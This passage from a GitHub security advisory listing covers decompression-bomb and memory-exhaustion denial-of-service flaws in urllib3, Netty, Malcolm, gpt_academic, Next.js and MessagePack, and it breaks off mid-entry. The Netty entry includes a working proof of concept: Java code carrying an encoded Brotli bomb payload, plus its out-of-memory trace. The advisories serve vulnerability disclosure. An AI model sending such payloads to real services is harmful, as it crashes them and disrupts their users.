allocation bugs.",
  "id": "GHSA-382j-8mxh-c7x2",
  "modified": "2026-06-25T18:35:48Z",
  "published": "2026-06-25T18:35:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-382j-8mxh-c7x2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48502"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack-CSharp: Denial of service vulnerabilities can swamp the CPU or crash the process with stack and heap overflows"
}

GHSA-38JV-5279-WG99

Vulnerability from github – Published: 2026-01-07 19:18 – Updated: 2026-01-23 16:05

Summary

Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)

Details

Impact

urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

Affected usages

Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

Remediation

Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "urllib3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.22"
            },
            {
              "fixed": "2.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-07T19:18:14Z",
    "nvd_published_at": "2026-01-07T22:15:44Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nurllib3\u0027s [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.",
  "id": "GHSA-38jv-5279-wg99",
  "modified": "2026-01-23T16:05:21Z",
  "published": "2026-01-07T19:18:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/urllib3/urllib3"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)"
}

GHSA-3P8M-J85Q-PGMJ

Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51

Summary

Netty's decoders vulnerable to DoS via zip bomb style attack

Details

Summary

With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

Details

BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

PoC

Run this test case with -Xmx1G:

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Error:

Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
    at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
    at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
    at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
    at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
    at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
    at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
    at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
    at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
    at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
    at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
    at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
    at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
    at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
    at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
    at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
    at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
    at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
    at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
    at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
    at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
    at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
    at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
    at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
    at io.netty.handler.codec.compression.T.main(T.java:11)

Impact

DoS for anyone using BrotliDecoder on untrusted input.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.5.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.125.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T18:00:55Z",
    "nvd_published_at": "2025-09-04T10:42:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n    public static void main(String[] args) {\n        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n    }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
  "id": "GHSA-3p8m-j85q-pgmj",
  "modified": "2025-09-04T13:51:43Z",
  "published": "2025-09-03T18:00:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}

GHSA-3WRW-4PCX-6P2G

Vulnerability from github – Published: 2026-08-18 21:31 – Updated: 2026-08-18 21:31

Details

Malcolm's upload-processing pipeline (scripts/safe-extract.py) enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives (zip/tar/rar/7z via libarchive), but those limits are not applied when the uploaded file is a single-stream compressed format (.gz, .bz2, .xz, .lzma, .lz) that isn't a .tar.*-style archive. Any authenticated user permitted to upload PCAP/log files can upload a small, highly compressible file (e.g. a gzip bomb) that decompresses to an effectively unbounded size on disk, exhausting the shared Docker volume used by OpenSearch, Logstash, Arkime, and Zeek, and disrupting the platform for all users.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-19671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T20:17:13Z",
    "severity": "HIGH"
  },
  "details": "Malcolm\u0027s upload-processing pipeline (scripts/safe-extract.py) enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives (zip/tar/rar/7z via libarchive), but those limits are not applied when the uploaded file is a single-stream compressed format (.gz, .bz2, .xz, .lzma, .lz) that isn\u0027t a .tar.*-style archive. Any authenticated user permitted to upload PCAP/log files can upload a small, highly compressible file (e.g. a gzip bomb) that decompresses to an effectively unbounded size on disk, exhausting the shared Docker volume used by OpenSearch, Logstash, Arkime, and Zeek, and disrupting the platform for all users.",
  "id": "GHSA-3wrw-4pcx-6p2g",
  "modified": "2026-08-18T21:31:50Z",
  "published": "2026-08-18T21:31:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/Malcolm/security/advisories/GHSA-f2v6-8cj4-mhr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19671"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-230-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4CXC-R29P-3327

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32

Details

A vulnerability in the binary-husky/gpt_academic repository, as of commit git 3890467, allows an attacker to crash the server by uploading a specially crafted zip bomb. The server decompresses the uploaded file and attempts to load it into memory, which can lead to an out-of-memory crash. This issue arises due to improper input validation when handling compressed file uploads.

Severity

6.5 (Medium)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-12387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the binary-husky/gpt_academic repository, as of commit git 3890467, allows an attacker to crash the server by uploading a specially crafted zip bomb. The server decompresses the uploaded file and attempts to load it into memory, which can lead to an out-of-memory crash. This issue arises due to improper input validation when handling compressed file uploads.",
  "id": "GHSA-4cxc-r29p-3327",
  "modified": "2025-03-20T12:32:43Z",
  "published": "2025-03-20T12:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12387"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/02b4ab21-d29b-4cd7-ad80-f83081ce82a4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5F7Q-JPQC-WP7H

Vulnerability from github – Published: 2026-01-28 15:20 – Updated: 2026-04-08 20:56

Summary

Next.js has Unbounded Memory Consumption via PPR Resume Endpoint

Details

A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the Next-Resume: 1 header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:

Unbounded request body buffering: The server buffers the entire POST request body into memory using Buffer.concat() without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.
Unbounded decompression (zipbomb): The resume data cache is decompressed using inflateSync() without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.

Both attack vectors result in a fatal V8 out-of-memory error (FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.

To be affected, an application must run with experimental.ppr: true or cacheComponents: true configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.

Strongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.0.0-beta.0"
            },
            {
              "fixed": "16.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.0-canary.0"
            },
            {
              "last_affected": "15.0.0-canary.205"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.1-canary.0"
            },
            {
              "last_affected": "15.0.1-canary.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.2-canary.0"
            },
            {
              "last_affected": "15.0.2-canary.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.3-canary.0"
            },
            {
              "last_affected": "15.0.3-canary.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.4-canary.0"
            },
            {
              "last_affected": "15.0.4-canary.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.1.1-canary.0"
            },
            {
              "last_affected": "15.1.1-canary.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.2.0-canary.0"
            },
            {
